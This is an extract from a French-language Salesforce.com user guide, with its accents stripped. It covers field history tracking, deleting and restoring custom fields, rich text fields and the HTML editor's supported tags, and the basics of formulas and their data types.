1. Rle de l'utilisateur actuel : Nom ne commence par VP

2. Rle de l'utilisateur actuel : Nom diffrent de
Administrateur excutif
3. Type de plan diffrent de Cadre
4. Rle de l'utilisateur actuel : Nom commence par VP
5. Rle de l'utilisateur actuel : Nom gal Administrateur
excutif

Critres avancs

((1 OR 2) AND 3) OR (4 OR 5)

Message d'erreur personnalis

Le Rgime de rmunration des dirigeants n'existe pas ou vous

avez slectionn un rgime de rmunration des dirigeants,
mais vous n'avez pas accs la cration de postes de dirigeants.
Cliquez sur l'icne de recherche pour slectionner un rgime
de rmunration des dirigeants valide.

Voir aussi :
propos des filtres de recherche
Gestion des filtres de recherche
Modification de champs
Fiche de conseils : Cration de filtres de recherche dans des champs de relation

Suivi de l'historique des champs

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour dfinir les champs qui doivent tre suivis :

Personnaliser l'application

Slectionnez certains champs standard et personnaliss suivre dans la liste associe de l'Historique des comptes, requtes,
contacts, contrats, pistes, opportunits, solutions et objets personnaliss. Chaque fois qu'un utilisateur modifie l'un des champs
standard ou personnaliss dont l'historique doit tre suivi, une nouvelle entre est ajoute la liste associe Historique. Toutes
les entres comprennent la date, l'heure et la nature de la modification, ainsi que le nom de l'utilisateur ayant apport la
modification. Les donnes d'historique ne tiennent pas compte de la limite de stockage de l'organisation. Les types de champ
ne sont pas tous disponibles pour le suivi historique. Pour plus de dtails, reportez-vous Remarques sur le suivi d'historique
la page 411.
Pour plus d'informations sur le suivi de l'historique des champs, reportez-vous aux rubriques suivantes :

Suivi de lhistorique des champs des comptes, requtes, contacts, contrats, pistes, opportunits et solutions
Suivi de l'historique des champs des objets personnaliss
Remarques sur le suivi d'historique

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 411

Suivi de lhistorique des champs des comptes, requtes, contacts, contrats, pistes, opportunits et solutions
Pour suivre l'historique des champs des comptes, requtes, contacts, contrats, pistes, opportunits et solutions :
1. Cliquez sur Configuration Personnalisation et slectionnez l'objet configurer pour le suivi de l'historique des champs.
2. Cliquez sur Champs.
3. Cliquez sur Dfinir le suivi d'historique.

Pour les comptes, contacts, pistes et opportunits, cochez la case Activer l'historique des comptes, Activer
l'historique des contacts, Activer l'historique des pistes ou Activer l'historique des
champs d'opportunits. Dslectionnez la case si vous ne voulez pas effectuer le suivi des modifications. Si vous
dslectionnez la case, la liste associe de l'historique est automatiquement supprime des prsentations de page associes.
Cette case cocher n'est pas disponible pour les requtes, solutions ou contrats car vous ne pouvez pas dsactiver le
suivi d'historique pour ces objets. Certaines modifications, telles que la hirarchisation des requtes, font toujours l'objet
d'un suivi.

Lorsque vous choisissez les champs que vous voulez suivre, Salesforce.com commence l'historique du suivi partir de
ce moment prcis. Les modifications effectues avant cette date et cette heure ne sont pas incluses dans l'historique.
Certains champs de requte, solution et contrat sont prslectionns pour le suivi d'historique. Les modifications
apportes ces champs font donc l'objet d'un suivi automatique partir du moment o l'entreprise a commenc
utiliser Salesforce.com.

4. Choisissez les champs suivre dans la liste associe Historique de la page de dtails de l'enregistrement.
5. Cliquez sur Enregistrer.
Suivi de l'historique des champs des objets personnaliss
Pour effectuer le suivi de l'historique des champs pour les objets personnaliss :
1. Cliquez sur Configuration Dvelopper Objets, puis sur Modifier en regard du nom de l'objet personnalis dont
vous voulez suivre l'historique.
2. Cochez la case Historique du champ de suivi. Dslectionnez cette la case si vous ne voulez pas effectuer le suivi
des modifications. Si vous dslectionnez cette case, la liste associe d'historique est automatiquement supprime des
prsentations de page des objets personnaliss.
3. Cliquez sur Enregistrer.
4. Slectionnez le nom de l'objet personnalis.
5. Cliquez sur Dfinir le suivi d'historique dans la section Champs personnaliss & relations. Cette section vous permet de
dfinir le suivi de l'historique des champs standard et personnaliss sur les objets personnaliss.
Lorsque vous choisissez les champs que vous voulez suivre, Salesforce.com commence l'historique du suivi partir de ce
moment prcis. Les modifications effectues avant cette date et cette heure ne sont pas incluses dans l'historique.
Si vous avez dslectionn la case Historique du champ de suivi, le bouton Dfinir le suivi d'historique n'apparat
pas.
6. Choisissez les champs suivre dans la liste associe Historique de la page de dtails de l'enregistrement.
7. Cliquez sur Enregistrer.
Remarques sur le suivi d'historique

Lorsque vous activez le suivi de l'historique d'un objet, veillez personnaliser les prsentations de page pour y inclure la
liste associe de l'historique de cet objet. Pour plus d'informations, reportez-vous Personnalisation des prsentations de
page la page 546.
Slectionnez jusqu' 20 champs standard et personnaliss par objet.

Personnaliser

Vous ne pouvez pas effectuer le suivi des champs suivants :

-

Guide de l'utilisateur | Cration de champs personnaliss | 412

Vous ne pouvez pas effectuer le suivi de l'historique des formules, des champs rcapitulatifs de cumul ou des champs
de numrotation automatique.
Vous ne pouvez pas effectuer le suivi des champs Cr par et Dernire modification par.
Vous ne pouvez pas choisir les champs d'opportunits suivre dans la liste associe Historique des tapes des opportunits.
Vous pouvez cependant choisir les champs d'opportunits suivre dans la liste associe Historique des champs
d'opportunits.
Vous ne pouvez pas procder au suivi du champ Chiffre d'affaires prvu des opportunits.
Vous ne pouvez pas effectuer le suivi des champs Titre de la solution principale ou Dtails de la
solution principale dans les solutions. Ces champs apparaissent uniquement pour les solutions traduites dans
les entreprises o les solutions multilingues sont actives.

Vous ne pouvez pas personnaliser la liste associe Historique car elle ne contient aucune donne. La liste associe Historique
est associe des donnes stockes ailleurs.
Les modifications apportes aux champs de plus de 255 caractres sont suivies en tant que modifications effectues, et les
anciennes et nouvelles valeurs ne sont pas enregistres. Par exemple, les modifications apportes aux champs de zone de
texte longue sont suivies en tant que modifications effectues.
Les valeurs de champ suivies ne sont pas automatiquement traduites, mais apparaissent dans la langue dans laquelle elles
ont t cres. Si, par exemple, la valeur Vert d'un champ devient Verde, Vertdeapparat quelle que soit la langue de
l'utilisateur, sauf si la valeur du champ a t traduite via le systme de traduction. Ceci s'applique galement aux types
d'enregistrement et aux valeurs de liste de slection.
Les modifications apportes aux champs de date et de numrotation, et aux tiquettes de champ standard refltent les
paramtres rgionaux de l'utilisateur qui visualise la liste associe Historique. Par exemple, si la date actuelle est remplace
par le 5 aot 2005, la nouvelle date apparat sous la forme 8/5/2005 pour un utilisateur amricain et sous la forme 5/8/2005
pour un utilisateur franais.
Les modifications apportes aux tiquettes de champ personnalis qui ont t traduites via le systme de traduction refltent
les paramtres rgionaux de l'utilisateur qui visualise la liste associe Historique. Si, par exemple, l'tiquette d'un champ
personnalis Rouge est traduite par Rojo en espagnol, tout utilisateur dont les paramtres rgionaux sont dfinis sur
espagnol verra apparatre cette tiquette sous la forme Rojo. Sinon, il verrait apparatre l'tiquette du champ personnalis
Rouge.
Les modifications des champs Montant et Quantit des opportunits sont suivis mme si le champ est mis jour suite
une modification des produits ou des calendriers d'opportunits.
Les modifications apportes au champ Clture lors de la cration des requtes sont suivies uniquement lorsque
ce champ est mis jour via l'API Force.com.
Les mises jour de champs font l'objet d'un suivi dans la liste associe Historique si vous avez dfini le suivi d'historique
des champs en question.
Lorsque vous supprimez un champ personnalis, toutes les donnes d'historique correspondantes sont supprimes et les
modifications ne sont plus suivies.
Si vous dsactivez le suivi d'historique des champs pour un objet personnalis, vous ne pouvez pas effectuer de rapport sur
l'historique des champs de cet objet.
Si vous dsactivez le suivi d'historique des champs sur un objet, vous pouvez toujours effectuer un rapport sur les donnes
d'historique jusqu' la date et l'heure auxquelles vous avez dsactiv le suivi d'historique de champ.
Vous pouvez crer des rapports sur les contrats activs dont les champs sont paramtrs pour tre suivis en cliquant sur
Nouveau rapport personnalis dans l'onglet Rapports, en slectionnant Rapport sur les contrats comme type de donnes,
puis en slectionnant Historique du contrat.
Vous ne pouvez pas dsactiver le suivi de l'historique des champs d'un objet si un champ de l'objet est rfrenc dans un
script Apex.
Si vous utilisez des comptes professionnels et des comptes personnels, passez en revue les points suivants avant d'activer le
suivi de l'historique des champs de compte.
-

Le suivi de l'historique des champs pour les comptes a un impact sur les comptes professionnels et les comptes personnels.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 413

Vous pouvez suivre 20 champs de compte au maximum. Cette limite comprend les champs des comptes personnels et
des comptes professionnels.
L'activation du suivi de l'historique des champs des comptes personnels ne permet pas d'activer le suivi de l'historique
des champs des contacts personnels.
Pour crer des rapports sur l'historique des comptes personnels, lancez le rapport Historique des comptes.

Si l'enregistrement parent d'une relation de recherche est supprim, le suivi d'historique de champ de l'enregistrement
enfant ne consigne pas la suppression. Par exemple, si un compte parent est supprim, la liste associe Historique des
comptes de l'enregistrement enfant n'affiche pas cette suppression.

Voir aussi :
Historique de Requte
Historique de la solution
Historique du contrat
Cration de champs personnaliss
Suppression de champs

Affichage de champs
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Pour afficher les dtails d'un champ personnalis ou standard :

1. Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
2. Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
3. Pour des paramtres personnaliss, cliquez sur Configuration Dvelopper Paramtres personnaliss, puis cliquez
sur le nom du paramtre personnalis.
4. Cliquez sur le nom du champ.
5. partir de la page de dtails du champ, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier pour modifier un champ personnalis ou son type de donnes.
Cliquez sur Dfinir la scurit au niveau du champ pour configurer l'accs des utilisateurs au champ. Disponible pour
Enterprise Edition, Unlimited Edition et Developer Edition uniquement.
Cliquez sur Afficher l'accessibilit du champ pour afficher les utilisateurs pouvant accder au champ selon les profils
et les types d'enregistrement. Disponible pour Enterprise Edition, Unlimited Edition et Developer Edition uniquement.
Si le champ peut possder des champs dpendants, affichez la liste de ces champs. Cliquez sur Nouveau pour dfinir
la dpendance du champ. Cliquez sur Modifier pour modifier les rgles de dpendance ou sur Suppr pour supprimer
entirement la dpendance. Pour plus d'informations sur les dpendances de champs, reportez-vous Dfinition de
dpendances de champs la page 380.
Si le champ personnalis est un champ dpendant, cliquez sur [Change] en regard du champ de contrle afin de modifier
les rgles de dpendance. Pour plus d'informations sur les dpendances de champs, reportez-vous Dfinition de
dpendances de champs la page 380.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 414

Cliquez sur Nouveau dans la liste associe Rgles de validation afin de crer une rgle de validation pour le champ.
Cliquez sur Modifier pour modifier une rgle de validation ou sur Suppr pour la supprimer. Reportez-vous Dfinition
des rgles de validation la page 438.
Pour les champs de liste de slection, vous pouvez ajouter de nouvelles valeurs et modifier, remplacer ou supprimer des
valeurs existantes. Reportez-vous Options supplmentaires pour la mise jour de listes de slection la page 376.
Cliquez sur Restaurer pour restaurer le champ et ses donnes. Cette opration n'est possible que si le champ a t
supprim, mais pas effac dfinitivement. Le comportement du champ peut tre diffrent aprs la restauration. Pour
restaurer le champ compltement, reportez-vous Gestion des champs personnaliss supprims la page 415.
Remarque: Si votre entreprise utilise des comptes personnels, la page Champs de compte rpertorie la fois les champs
de compte personnel et de compte professionnel.
Les comptes personnels utilisent une combinaison de champs de compte et de contact. Les champs de contact suivants
sont disponibles pour les comptes personnels :

Champs de la liste Champs standard de compte qui apparaissent avec une icne de compte personnel.
Champs de la liste Champs personnaliss & relations de contact.

Ces champs de contact ne sont pas disponibles pour les comptes professionnels. Pour personnaliser ces champs,
slectionnez Configuration Personnalisation Contacts Champs.
Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la page 1048

Voir aussi :
Personnalisation des champs
Vue d'ensemble des paramtres personnaliss

Suppression de champs
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer des champs personnaliss :

Personnaliser l'application

Pour supprimer un champ personnalis :

1. Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
2. Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
3. Cliquez sur Suppr en regard du nom de champ.
4. Lorsque vous y tes invit, cochez la case Oui, je veux supprimer ce champ personnalis pour confirmer la
suppression et cliquez sur Supprimer.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 415

Salesforce.com stocke les champs personnaliss supprims et les donnes qu'ils contiennent jusqu' ce que votre organisation
les supprime dfinitivement ou que 45 jours se soient couls, selon le premier de ces vnements. Jusqu' ce moment, vous
pouvez restaurer le champ et ses donnes. Pour plus d'informations sur la restauration des relations et des champs
personnaliss supprims, reportez-vous Gestion des champs personnaliss supprims la page 415.
Remarque:

Avant de supprimer un champ personnalis, pensez tous les endroits o il est rfrenc. Salesforce.com vous
empche de supprimer les champs personnaliss rfrencs ailleurs. Vous ne pouvez pas, par exemple, supprimer
un champ personnalis rfrenc par une mise jour de champ ou un script Apex.
Lorsque vous supprimez un champ personnalis, toutes les donnes d'historique correspondantes sont supprimes
et les modifications ne sont plus suivies.
Salesforce.com excute priodiquement un processus en arrire-plan qui nettoie les mtadonnes associes des
champs personnaliss supprims. Ce processus affecte les champs Date de la dernire modification et
Dernire modification par dans les prsentations de page, les types d'enregistrement et les objets
personnaliss.

Voir aussi :
Suivi de l'historique des champs

Gestion des champs personnaliss supprims

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour restaurer des relations et des champs personnaliss
supprims :

Personnaliser l'application

Pour supprimer dfinitivement des champs personnaliss ou Personnaliser l'application

des relations :

Salesforce.com stocke les champs personnaliss supprims et les donnes qu'ils contiennent jusqu' ce que votre organisation
les supprime dfinitivement ou que 45 jours se soient couls, selon le premier de ces vnements. Jusqu' ce moment, vous
pouvez restaurer le champ et ses donnes. Nanmoins, le champ est toujours comptabilis en ce qui concerne le nombre maximal
de champs personnaliss autoriss dans votre entreprise. Pour visualiser la liste rpertoriant le nombre maximal de relations et
de champs personnaliss autoriss dans votre organisation, reportez-vous ditions Salesforce.com et limitations la page
932.
Pour visualiser la liste de vos relations et champs personnaliss supprims :
1. Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
2. Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 416

3. Cliquez sur Champs supprims en bas de la liste des relations et champs personnaliss. Le nombre entre parenthses
indique le nombre total de champs personnaliss supprims pour cet objet. Ce lien s'affiche uniquement lorsque vous avez
supprim un champ personnalis.
4. Utilisez la liste des champs supprims pour raliser les oprations suivantes :

Pour visualiser des dtails concernant un champ, cliquez sur l'tiquette du champ.
Pour supprimer dfinitivement le champ personnalis et ses donnes, cliquez sur Effacer.
Pour restaurer le champ et ses donnes, cliquez sur Restaurer. Certains attributs des champs supprims ne sont pas
automatiquement restaurs. Pour restaurer ces attributs manuellement :
a. Ajoutez le champ une prsentation de page modifie lors de la suppression du champ personnalis. Si les rapports
et prsentations de page n'ont pas t modifis, le champ restaur y reste prsent.
b. Faites du champ un champ unique si ncessaire. Salesforce.cpm retire automatiquement l'attribut Unique des champs
personnaliss supprims.
c. Faites du champ un champ obligatoire si ncessaire. Salesforce.com retire automatiquement l'attribut Obligatoire
des champs personnaliss supprims.
d. Ajoutez le champ personnalis aux packages Force.com AppExchange appropris. Salesforce.com retire
automatiquement les champs personnaliss supprims des packages qui les contiennent.
e. Convertissez les relations de recherche en relations principal-dtails si ncessaire. Salesforce.com convertit toutes
les relations en relations de recherche lorsqu'elles sont supprimes. Pour convertir une relation de recherche en
relation principal-dtails, remplissez tous les enregistrements applicables avec les donnes appropries.
f. Redfinissez les dpendances de champ que Salesforce.com a retires lors de la suppression du champ.
g. Modifiez et enregistrez les champs de formule, en lanant une vrification de syntaxe que vous devrez peut-tre
rsoudre.
h. Configurez le suivi de l'historique des champs si ncessaire. Si la liste des champs activs pour le suivi d'historique
a t modifie pendant la suppression du champ personnalis, le champ restaur n'est plus configur pour faire partie
du suivi de l'historique.

Remarques concernant les champs personnaliss restaurs

Salesforce.com ajoute les caractres suivants la fin du nom de dveloppeur d'un champ personnalis lorsqu'il est supprim,
sauf si un champ supprim possde dj ce nom : _del . Ces caractres restent lorsque vous restaurez le champ personnalis.
Les champs de formule sont restaurs avec le statut Dsactiv, ce qui implique qu'ils ne contiennent pas de donnes mises
jour tant que vous ne les modifiez pas ni ne les enregistrez. Lorsqu'un champ de formule est dsactiv, le message #Error!
s'affiche la place de la valeur de formule.
Les champs restaurs ne s'affichent pas immdiatement dans les champs de recherche. Il faut parfois un peu de temps pour
que le champ personnalis restaur et ses donnes soient disponibles dans les rsultats de recherche.
Les champs de piste mis en correspondance avec des champs de compte, de contact ou d'opportunit pour la conversion
de pistes gardent cette correspondance aprs avoir t restaurs.
Les champs de numrotation automatique continuent augmenter lorsqu'ils sont supprims et contiennent les valeurs
correctes lorsqu'ils sont restaurs.
Les donnes d'historique des champs personnaliss supprims sont restaures.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 417

Options supplmentaires des champs personnaliss

Modification des prsentations de page
Pour modifier l'emplacement d'un nouveau champ personnalis, modifiez la prsentation de page de l'onglet correspondant.
Reportez-vous Gestion des prsentations de page la page 544.
Utilisation des types d'enregistrement
Si votre organisation utilise des types d'enregistrement, modifiez le type d'enregistrement pour redfinir les valeurs de
liste de slection visibles pour ce type. Reportez-vous Gestion des types d'enregistrement la page 539.
Suivi de l'historique d'un champ personnalis
Vous pouvez slectionner les champs personnaliss suivre dans la liste associe Historique des requtes, solutions et
contrats. Toutes les entres comprennent la date, l'heure et la nature de la modification, ainsi que le nom de l'utilisateur
ayant apport la modification. Les donnes d'historique ne tiennent pas compte de la limite de stockage de l'organisation.
Reportez-vous Suivi de l'historique des champs la page 410.
Utilisation d'un systme de traduction
Si votre organisation utilise le systme de traduction, avertissez vos traducteurs de l'existence de nouveaux champs
traduire. Pour plus d'informations, reportez-vous Configuration du systme de traduction la page 88.
Champs personnaliss d'activit
Les champs d'activit personnaliss peuvent s'appliquer aux tches ou aux vnements uniquement, ou aux deux. Par
exemple, vous pouvez crer un champ Temps pass et l'ajouter aux prsentations des pages d'vnement et de tche.
Mappage des champs de piste personnaliss
En ce qui concerne les champs de piste personnaliss, vous pouvez cliquer sur Mappage des champs de piste pour
spcifier les champs de piste personnaliss mapper sur les champs de compte, de contact et d'opportunit personnaliss
pendant une conversion de piste. Reportez-vous Mappage des champs de piste personnaliss la page 589.

Utilisation de champs de zone de texte enrichi

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Remarque: Les champs de zone de texte enrichi sont disponibles uniquement pour les articles de la base de connaissances
Salesforce Knowledge.
Pour amliorer l'apparence du texte dans un article, dfinissez des champs personnaliss avec le type de champ personnalis
de zone de texte enrichi. Ces champs personnaliss prennent en charge le contenu HTML format. Lorsque vous rdigez un
article, utilisez l'diteur HTML de Salesforce.com la page 418 pour mettre en forme les champs de Zone de texte enrichi.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 418

Conseils d'utilisation de champs de zone de texte enrichi

Avant de crer un champ personnalis de zone de texte enrichi, notez les points suivants :

La procdure d'ajout d'un champ personnalis est prsente dans la rubrique Ajout de champs personnaliss des types
d'articles la page 1511.
Salesforce.com prend en charge jusqu' 32 000 caractres pour chaque champ de zone de texte enrichi, balises HTML
comprises. Vous pouvez rduire cette limite.
Lors de l'affichage ou de l'impression d'un article, Salesforce.com prserve la version au format HTML dans les champs
de zone de texte enrichi.
La conversion d'un champ de zone de texte enrichi vers un autre type de champ personnalis peut entraner une perte de
donnes ou des donnes incompltes et la perte de la mise en forme initiale, en fonction du nouveau type de donnes.
La conversion d'un champ en champ de zone de texte enrichi produit un texte HTML non format.
Les recherches d'articles qui contiennent des champs de zone de texte enrichi ignorent les images et les balises.
Lors de l'exportation d'une feuille de calcul Excel, les donnes de champ de zone de texte enrichi sont rdiges sous un
format texte jusqu'aux 255 premiers caractres.
La suppression d'un champ de zone de texte enrichi le dplace vers la section Champs supprims de la page de dtails du
type d'article.

Utilisation de l'diteur HTML

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Remarque: L'diteur HTML pour les champs de zone de texte enrichi est disponible uniquement avec les types
d'articles de la base de connaissances Salesforce Knowledge.
Pour amliorer l'apparence du texte dans les articles, utilisez l'diteur HTML de Salesforce.com pour mettre en forme les
champs personnaliss qui ont t dfinis avec le type de champ personnalis de zone de texte enrichi. L'diteur HTML de
Salesforce.com offre une interface WYSIWYG qui permet d'excuter des oprations de mise en forme de base. Vous pouvez
:

Mettre en forme le texte en gras, en italique ou le souligner

Crer des listes puces et des listes numrotes
Modifier le retrait des paragraphes
Insrer des liens hypertexte dans les pages Web
Insrer une image

Les scnarios communs comprennent :

La mise en forme des CV soumis par des candidats un poste afin de crer des documents plus lisibles et professionnels
pour vos utilisateurs

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 419

La mise en valeur des points cls dans un champ Description ou Commentaires en dfinissant diverses options de police,
telles que le style gras et une taille de caractres suprieure
L'numration d'tapes dans une liste puces ou numrote pour aider les utilisateurs comprendre la procdure
La prise en charge de la marque de votre socit en spcifiant l'URL d'un logo publi sur votre site Web
L'insertion d'un lien vers une page connexe et accessible du site Web de votre socit

Notes sur l'utilisation de l'diteur HTML de Salesforce.com

Lors de l'utilisation de l'diteur, notez les points suivants :

L'diteur HTML de Salesforce.com fournit uniquement une interface WYSIWYG, vous ne modifiez pas les balises
HTML.
Si vous copiez le contenu d'une page Web pour le coller dans la fentre de l'diteur, Salesforce.com supprime
automatiquement les balises non prises en charge et peut conserver le texte compris entre ces balises sous un format en
texte brut. Notez que Salesforce.com n'informe pas les utilisateurs lorsque du code HTML non pris en charge ou
potentiellement malveillant est supprim.
Le nombre maximal de caractres que vous pouvez saisir dans la fentre de l'diteur HTML de Salesforce.com est gal
la longueur de champ spcifie lors de la cration ou de la modification du champ. La valeur par dfaut est 32 000 caractres.
Lorsque vous cliquez sur un lien hypertexte, la page s'ouvre dans une nouvelle fentre de navigateur. L'diteur HTML de
Salesforce.com prend en charge les protocoles HTTP, HTTPS et les liens hypertexte mailto.
Lors de la sauvegarde d'un enregistrement, l'diteur HTML Salesforce.com ne valide pas les liens hypertexte vers les pages
Web. Assurez-vous de spcifier une URL laquelle Salesforce.com peut accder.
Pour insrer une image, cliquez sur
-

, puis slectionnez l'un des onglets suivants :

Adresse Web, puis saisissez l'URL de l'image.

Tlcharger une image, puis slectionnez une image depuis votre hte local. Vous pouvez tlcharger uniquement les
fichiers JPG, PNG ou GIF. L'image que vous slectionnez ne peut excder 1 Mo.

Vous pouvez galement saisir une description qui s'affiche lorsque l'utilisateur survole l'image. L'image doit disposer d'une
URL accessible par Salesforce.com.
L'diteur HTML de Salesforce.com prend en charge toutes les langues que la base de connaissances Salesforce Knowledge
supporte.
L'diteur HTML de Salesforce.com ne prend pas en charge JavaScript ni les feuilles de style en cascade (CSS).

Balises et attributs HTML pris en charge

L'diteur HTML de Salesforce.com prend en charge les balises prsentes dans le tableau ci-dessous.
<a>

<dt>

<q>

<abbr>

<em>

<samp>

<acronym>

<font>

<small>

<address>

<h1>

<span>

<b>

<h2>

<strike>

<bdo>

<h3>

<strong>

<big>

<h4>

<sub>

<blockquote>

<h5>

<sup>

<br>

<h6>

<table>

Personnaliser

Guide de l'utilisateur | propos des formules | 420

<caption>

<hr>

<tbody>

<cite>

<i>

<td>

<code>

<img>

<tfoot>

<col>

<ins>

<th>

<colgroup>

<kbd>

<thead>

<dd>

<li>

<tr>

<del>

<ol>

<tt>

<dfn>

<p>

<ul>

<div>

<pre>

<var>

<dl>

Les balises peuvent inclure les attributs suivants :

alt

face

size

background

height

src

border

href

style

colspan

rowspan

width

Les attributs peuvent inclure des URL qui commencent par les lments suivants :

http:
https:
file:
ftp:
mailto:
/ pour les liens relatifs

propos des formules

Disponible avec : Toutes les ditions

Une formule est un algorithme dont la valeur est issue d'autres champs, expressions ou valeurs. Les formules peuvent vous
aider calculer automatiquement la valeur d'un champ partir d'autres champs. Utilisez des formules pour les lments
suivants :

Champs personnaliss
Crez des champs de formule qui effectuent des calculs automatiques de valeurs partir d'autres valeurs, champs de fusion
ou expressions. Les utilisateurs peuvent afficher les champs de formule sur les pages de dtails des enregistrements, mais

Personnaliser

Guide de l'utilisateur | propos des formules | 421

ne voient pas l'algorithme sous-jacent ni ne peuvent modifier la valeur du champ de formule. Pour crer un champ de
formule personnalis, reportez-vous la section laboration de formules la page 428.

Valeurs de champ par dfaut

Appliquez une valeur un champ personnalis lorsqu'un utilisateur cre un enregistrement. Pour dfinir une valeur par
dfaut, utilisez des formules comme TODAY() + 7. Reportez-vous propos des valeurs de champ par dfaut la page
432.

Validations de donnes
Avant que l'utilisateur sauvegarde l'enregistrement, les rgles de validation vrifient que les donnes saisies par l'utilisateur
dans l'enregistrement respectent les normes spcifies. Une rgle de validation peut contenir une formule du type CloseDate
>= TODAY(). Reportez-vous propos des rgles de validation la page 437.

Rapports
Crez dans vos rapports des formules rcapitulatives personnalises, pour calculer les totaux supplmentaires partir des
rcapitulatifs existants dans le rapport concern. Pour commencer crer une formule rcapitulative personnalise,
reportez-vous laboration de formules rcapitulatives personnalises la page 1729.

Mises Jour des Champs de Workflow

Dfinissez des mises jour de champ pour calculer automatiquement la nouvelle valeur d'un champ partir d'une formule.
La formule peut contenir d'autres valeurs, champs de fusion ou expressions. Configurez ensuite vos rgles de workflow ou
vos processus d'approbation pour utiliser ces mises jour de champ. Pour dfinir des mises jour de champ, reportez-vous
Dfinition des mises jour de champ la page 742.

Rgles de Workflow
Dfinissez les critres auxquels un enregistrement doit rpondre pour dclencher une rgle de workflow. Reportez-vous
Cration de rgles de workflow la page 726.

Processus d'approbation
Dfinissez les critres qu'un enregistrement doit remplir pour entamer le processus d'approbation. Reportez-vous Cration
de processus d'approbation la page 780.

tapes d'approbation
Dfinissez les critres qu'un enregistrement doit remplir pour entamer l'tape d'approbation Reportez-vous Cration
d'tapes d'approbation la page 785.

Rgles de hirarchisation
Dfinissez les conditions qu'une requte doit remplir pour tre hirarchise. Consultez la rubrique Dfinition de rgles de
hirarchie la page 624.

Rgles d'attribution
Dfinissez les conditions dans lesquelles la piste ou la requte peut tre attribue. Consultez la rubrique Dfinition de rgles
d'attribution la page 620.

Commandes S-Control
Dfinissez le contenu de S-control. Reportez-vous Dfinition des commandes Custom S-Control la page 971.

Boutons et liens personnaliss

Dfinissez le contenu des liens et boutons personnaliss. Reportez-vous Configuration des boutons et liens personnaliss
la page 579.

Pages Visualforce

Personnaliser

Guide de l'utilisateur | propos des formules | 422

Dfinissez le contenu des pages Visualforce. Consultez la rubrique Dfinition des pages Visualforce la page 951.
Avant d'laborer la formule, passez en revue les attributs de formule suivants :

Choix du type de donnes de la formule

lments d'une formule

Pour les utilisations courantes des formules, reportez-vous la section Formules : Comment faire pour... la page 425.
Remarque: Les champs de formule personnaliss ne sont pas disponibles dans Connect Offline, ni dans les formulaires
Web vers piste ou Web vers requte.

Voir aussi :
Utilisation de formules dans Salesforce.com

Choix du type de donnes de la formule

Le type de donnes de la formule dtermine le type de donnes que vous attendez que cette formule vous renvoie. Passez en
revue les types de donnes suivants.
Type de donnes

Description

Devise

Renvoie un nombre de 18 chiffres maximum au format devise,

accompagn d'un symbole montaire.

Date

Renvoie des donnes reprsentant un jour sur le calendrier.

Vous pouvez obtenir la date actuelle en appelant la fonction
intgre TODAY() dans la formule. Ce type de donnes n'est
pas disponible pour les formules rcapitulatives personnalises
des rapports.

Date/heure

Renvoie des donnes reprsentant un moment dans le temps.

Le champ date/heure contient la date et l'heure de la journe
au format heures, minutes et secondes. Vous pouvez insrer
dans une formule les date et heure actuelles, l'aide de la
fonction NOW(). Ce type de donnes n'est pas disponible
pour les formules rcapitulatives personnalises des rapports.

Numro

Renvoie un entier positif ou ngatif, ou un dcimal de 18

chiffres maximum.

Pourcentage

Renvoie un numro de 18 chiffres maximum au format

pourcentage, accompagn du signe pourcentage. Le systme
divise par 100 les donnes exprimes en pourcentage, puis les
stocke sous la forme de nombres dcimaux. Par exemple, 0,90
correspond 90 %.

Texte

Renvoie une chane compose de 3900 caractres maximum.

Pour afficher du texte en plus du rsultat de la formule, insrez
ce texte entre guillemets. Utilisez le type de donnes texte pour

Personnaliser

Guide de l'utilisateur | propos des formules | 423

Type de donnes

Description
les champs de texte, de zone de texte, d'URL, de tlphone,
d'e-mail, d'adresse et de numrotation automatique. Ce type
de donnes n'est pas disponible pour les formules
rcapitulatives personnalises des rapports.

Voir aussi :
laboration de formules
propos des formules

lments d'une formule

La formule peut contenir des rfrences aux valeurs d'autres champs standard ou personnaliss, des oprateurs, des fonctions,
des valeurs littrales ou d'autres formules. Lorsque vous laborez une formule, utilisez certains lments ou tous les lments
du tableau suivant. Pour plus d'informations sur la cration de formules, reportez-vous laboration de formules la page
428.
Nom de l'lment

Description

Valeur littrale

La chane de texte ou le nombre que vous saisissez, qui n'est

ni calcul ni modifi ensuite. Par exemple, si vos commissions
sont toujours calcules sur la base de 2 % du montant de
l'opportunit, la formule contiendra la valeur littrale 2 % du
montant de l'opportunit :
ROUND((Amount*0,02), 2)

Cet exemple contient chaque partie possible d'une formule :

Une fonction, appele ROUND, qui sert renvoyer un
nombre arrondi un nombre prcis de dcimales.
La rfrence de champ, appele Montant, et remplace de
manire dynamique par le montant de l'opportunit.
L'oprateur * qui demande au dveloppeur de formule de
